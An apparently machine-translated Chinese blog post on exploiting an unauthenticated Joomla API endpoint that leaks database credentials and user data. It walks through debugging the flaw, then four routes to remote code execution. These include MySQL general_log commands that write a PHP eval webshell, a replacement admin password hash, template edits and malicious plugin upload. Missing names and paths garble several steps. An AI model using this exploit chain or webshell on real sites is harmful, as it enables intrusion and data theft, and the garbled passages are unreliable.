您的位置  > 互联网

8088/未授权路径,:在api路径下的多个路径

未经授权的路径,:

/api/index.php/v1/config/application?public=true 

api路径下多个路径未授权。 它们必须满足 =true 并在 debug 下启用断点调试。 这里需要注意的是PHP版本必须大于7.2.5

因此版本配置无法正常调试,所以这里是php.ini中的配置。

[XDebug]
zend_extension = "E:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll" 
xdebug.mode=debug
xdebug.start_with_request=default
xdebug.client_host=localhost
xdebug.client_port=9001
xdebug.remote_handler=dbgp
xdebug.idekey="PHPSTORM"

与3的区别仍然很明显,但配置更简单。

:8088/api/index.php/v1//?=true

mysql数据库名、用户名、密码、前缀等泄露。 设置断点进行分析。

api\\app.php

下一个断点,基本上是调用堆栈

ApiApplication.php:296, Joomla\CMS\Application\ApiApplication->route()
ApiApplication.php:107, Joomla\CMS\Application\ApiApplication->doExecute()
CMSApplication.php:294, Joomla\CMS\Application\CMSApplication->execute()
app.php:53, require_once()
index.php:31, {main}()

完成296的if判断后,即可实现敏感数据的非法读取。

从调用栈代码可以看出,app.php实际上是通过文件包含的方式读取并实例化应用程序的。

在第 53 行按 F7 并调用该方法。

第294行继续F7,在方法中跟进并搜索路由。

第107行调用了方法路由,在该方法中获取了控制层传入的参数和方法。

向下调试,第239行处理方法中的路由

可以看到循环的时候,默认值是false,但是到了116行的时候

被()函数覆盖的值成为通过GET传入的真实值

最后通过\src\\.php第296行的if语句实现认证,是否有变量,值为true时实现认证。

最后通过前端实现对敏感数据信息的非授权访问。

RCE-主菜

前面提到,因为最终认证只是为了控制层传递的参数值为true,所以漏洞产生的原因是该变量覆盖了默认的false值,所以当要满足的if条件时最后297行,许多未经授权的API可以访问

RCE-1

当知道mysql账号和密码后,安装环境为

show variables like '%general%'; 
set global general_log = on;
set global general_log_file = 'D:/phpstudy_pro/WWW/joomla_425/shell.php';
select '<?php eval($_POST[x]);?>';

条件:数据库账户有写权限,需要知道网站路径。 另外,可以尝试mysql中的几种方法,只要满足条件即可。

RCE-2

获取数据账号密码并登录数据库。 这些方法都是通过Web应用后端RCE来实现的。

登录数据库,修改管理员用户密码,登录管理后台。

修改用户密码。 当然,这里的用户密码是使用加密方法进行哈希处理的。

通过简单的搜索就可以看到。 这里我对比了之前版本的代码。 加密方法没有改变。 事实上,使用旧版本的加密方法加密的密码是可以直接更改的。

testtesttest::$2y$10$CUwvh7ERwtIBBKcJ713ehexh0DgfRHLH4kUPIEMGsgIVSBfGj4e.6

只需更改密码即可

修改密码后登录成功。

修改后端模板文件实现RCE

:8088//index.php?=&view=&id=223&file=%3D&=0

写一个句子

RCE-3

安装恶意插件

用于远程代码执行

在扩展的位置添加恶意插件来实现

上传插件实现RCE

此截图来自

RCE-4

该方法是基于社会工程爆破实现的

curl http://joomla.org:8088/api/index.php/v1/users?public=true

api接口未经授权泄露用户信息。 该方法可以不依赖数据库利用方法进行RCE,并且可以与第二种或第三种利用方法结合来​​实现RCE。

概括

我们先从前端未授权的做法开始。 如果这个想法不依赖数据库和模板,还有其他的RCE方法吗? 欢迎分享。